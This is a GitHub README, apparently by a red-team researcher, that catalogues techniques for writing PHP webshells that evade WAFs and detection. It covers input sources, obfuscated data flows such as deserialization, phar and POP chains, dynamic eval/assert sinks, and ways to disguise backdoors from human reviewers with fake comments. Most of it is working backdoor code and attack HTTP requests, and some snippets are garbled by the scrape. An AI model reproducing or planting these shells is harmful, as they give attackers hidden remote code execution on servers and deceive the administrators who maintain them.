BypassShell

by lufeirider

lufeirider / BypassShell
231 Stars 62 Forks Last release: Not found 23 Commits 0 Releases

Available items

No Items, yet!

The developer of this repository has not created any items for sale yet. Need a bug fixed? Help with integration? A different license? Create a request here:

免责声明

  1. 在对方未授权的情况下,直接或间接利用本项目涉及到的研究样本攻击目标是违法行为.
  2. 本项目涉及到的样本仅为安全研究和授权情况下使用,其使用人员有责任和义务遵守当地法律条规.
  3. 本项目涉及到的样本及文章仅为促进安全防御研究使用,研究人员对因误用该程序造成的资产损坏和损失概不负责.

前言

红蓝对抗中,常常遇到waf。此项目讨论的就是红蓝对抗中的免杀环节。

此项目虽然是免杀shell,但跟代码审计密切相关,有些免杀方法就是真实漏洞的一部分简化,故打算长期沉淀,把自己看到、想到的更新在此。

大概如下四部分:

1、source

2、数据流

3、sink

4、面向人的免杀

这里有的一提的是面向人的免杀,检测工具易过,但是人一看就看得出来。所以也是要免杀人的。

source

直接从变量获取

$_SERVER

GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2
code: phpinfo();
Connection: close

$_FILES Content-Type

POST /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjm8AolGAXiYuOHE9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryjm8AolGAXiYuOHE9 Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: phpinfo()

11 ------WebKitFormBoundaryjm8AolGAXiYuOHE9--

GLOBALS

通过函数二阶获取

getdefinedvars

通过end(getdefinedvars()[_POST])获取

assert(end(get_defined_vars()[_POST]));

next $GLOBALS


mysqli_connect

还有 smb \127.0.0.1\1.txt ftp 等等各种获取

```php

-- 表的结构
code

CREATE TABLE IF NOT EXISTS

code
(
code
varchar(255) COLLATE utf8mb4bin NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4bin;

--

-- 转存表中的数据
code

INSERT INTO

code
(
code
) VALUES ('phpinfo();'); ```

filegetcontents


php://input

需要开启allowurlinclude

php
eval("php://input");

fileputcontents文件

data:text协议

include "data:text/plain,";

d盾0级

php


session

";
session_write_close();

include session_save_path().'/sess_shell';

session_id

GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Connection: close
Cookie: PHPSESSID=706870696e666f28293b



tmp_file

//phpD722.tmp
eval(fread($temp,100));

写文件-error_log

", 3, "./test.php");
include "test.php";
?>

$_FILES['file']['tmp_name']

sysgettempdir() ```php <?php $filename = $FILES['file']['tmp_name']; include $filename; ```

upload_progress

需要条件竞争,php脚本无权限设置cleanup为0 ```php POST /shell/xx.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 64016 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOAAgdsu072sFLxAt User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=test Connection: close

------WebKitFormBoundaryOAAgdsu072sFLxAt Content-Disposition: form-data; name="PHPSESSIONUPLOAD_PROGRESS"

<?php phpinfo();?> ------WebKitFormBoundaryOAAgdsu072sFLxAt Content-Disposition: form-data; name="file1"; filename="lufei.txt" Content-Type: application/x-zip-compressed

33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 ------WebKitFormBoundaryOAAgdsu072sFLxAt-- ```

语法

参数列表展开


三目运算


数据流

uaf

php 5.6测试成功。 ```php <?php $code = $POST[1]; $serializedstring = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}'; $outerarray = unserialize($serializedstring); gccollectcycles(); $filler1 = "aaaa"; $filler2 = &$code;

eval($outer_array); ?> ```

多个文件

1.php



2.php

include "1.php";
eval($code);

非等号赋值-数组传递


变量覆盖-parse_str


变量覆盖-双$

 $value) {
    ${$key} = $value;
}

eval($code); ?>

变量覆盖-extract

extract($_GET).$a($b);

unserialize


phar

$filename = session_save_path()."\poc.jpg";

$base64_content = "R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpEAAAAAQAAABEAAAABAAAAAAAPAAAATzo0OiJFdmlsIjowOnt9BwAAAGZvby50eHQDAAAAwuwKXgMAAACqjP92tgEAAAAAAABiYXKom9RaUZXhHL4WJYxruh//z4dpZQIAAABHQk1C"; $file = fopen($filename, "w"); fwrite($file,base64_decode($base64_content)); fclose($file);

is_file("phar://".$filename); ?>

pop链

function __destruct() {
    $evil = new Evil();
    $evil->func = $_GET['func'];
    $evil-&gt;code = $_POST[1];
    $evil."11";
}

}

Class Evil{ public $func; public $code;

function __toString() {
    call_user_func($this-&gt;func,$this-&gt;code);
    return "";
}

}

$warpper = new Wrapper(); ?>

回调函数

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

php
$e = $_REQUEST['e'];
$arr = array($_POST[1],);
array_filter($arr, $e);

匿名类-new class

invoke($_POST[1]);
?>

trait

trait Evilable {
    public function test($code){
        eval($code);
    }
}

class Legal{ use Evilable; }

$evil = new Legal(); $evil->test($_POST[1]);

数据源来于类属性 ```php trait Evilable { public $code; public function test(){ eval($this->code); } }

class Legal{ use Evilable; }

$evil = new Legal(); $evil->code = $_POST[1]; $evil->test($evil->code); ```

自定义路由-工厂模式

code);
    }
}

class ClassFactory { public function getObject($className){ return new $className; } }

$classFactory = new ClassFactory(); $evil = $classFactory->getObject("Evil"); $evil->code = $_POST[1]; $evil->test(); ?>

自定义路由-责任链

public function doChain($level,$nothing){
    if($this->level==$level){
        $this-&gt;doit($nothing);
    }
    if($this-&gt;next!=null){
        $this-&gt;next-&gt;doChain($level,$nothing);
    }

}

public function doit($nothing){
}

}

class Legal extends Chain{ public function __construct(){ $this->level=1; }

public function doit($nothing){
    echo $code;
}

}

class Evil extends Chain{ public $code;

public function __construct(){
    $this-&gt;level=2;
}

public function doit($nothing){
    eval($this-&gt;code);
}

}

$legal = new Legal(); $evil = new Evil(); $legal->next = $evil; $evil->next = null;

$evil->code = $_POST[1]; $legal->doChain(2,""); ?>

sink

代码执行的sink和代码流这块有点区别,执行任意代码的属于sink,执行指定代码的是代码流。

动态调用-字符串

编码

php7

php

字符串拼接

$func = 'as'.'sert';
$func($_POST[1]);

字符串分割


各种运算-异或

$func($_POST[1]);
?>

eval、assert同效果

回调函数

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

文件包含

include('1.txt')

双引号

$code = $_POST[1];
$data = "xxxxxxx{${eval($code)}}xxxxxx";

ob_start


create_function


二阶获取sink

数组


二维数组


getdefinedfunctions

print_r(get_defined_functions()['internal']);
echo $arr[841]; //每个版本的assert数字不同, php版本5.6.27为850

$arr841;

ReflectionFunction

$func = new ReflectionFunction('assert');
print_r($func->invoke($_POST[1]));

别名

php7

php

语法

斜杠

php5.3测试成功

php

[email protected]

5.5 7.0 不再支持/e

php

流量

这块随便把流量编码或者加密

php
//1=cGhwaW5mbygpOw==

面向人的免杀

注释

无中生有-假装是正常代码

自己的程序可以不写注释,shell一定要写个假注释 ```php //实例化对象的工厂与测试代码,千万别删除,可能程序导致崩溃或者莫名其妙的bug <?php class Test { public $code; public function test(){ eval($this->code); } }

class ClassFactory { public function getObject($className){ return new $className; } }

$classFactory = new ClassFactory(); $test = $classFactory->getObject("Test"); $test->code = $_POST[1]; $test->test(); ?> ```

代码

无中生有

5.5 7.0不再支持/e

php

瞒天过海-正常代码插入shell

插入在比较长的函数代码中

php
function filter()
{
    $func = 'as'.'sert';
    //其他n多代码
    $code = $_POST[1];
    //其他n多代码
    $func($code);
}
filter();

暗渡陈仓-1il

声东击西-假的shell

暴露一个明显而隐晦,白色中带黑色shell,另外一个文件写入真正的shell。 ```php //另外一个文件写真正的shell

//密码是1 $code = "eval($####POST####[1]);"; $code = strreplace("####","",$code); eval($code); ```

参考

maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia、phith0n、Laruence等发过的文章。

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.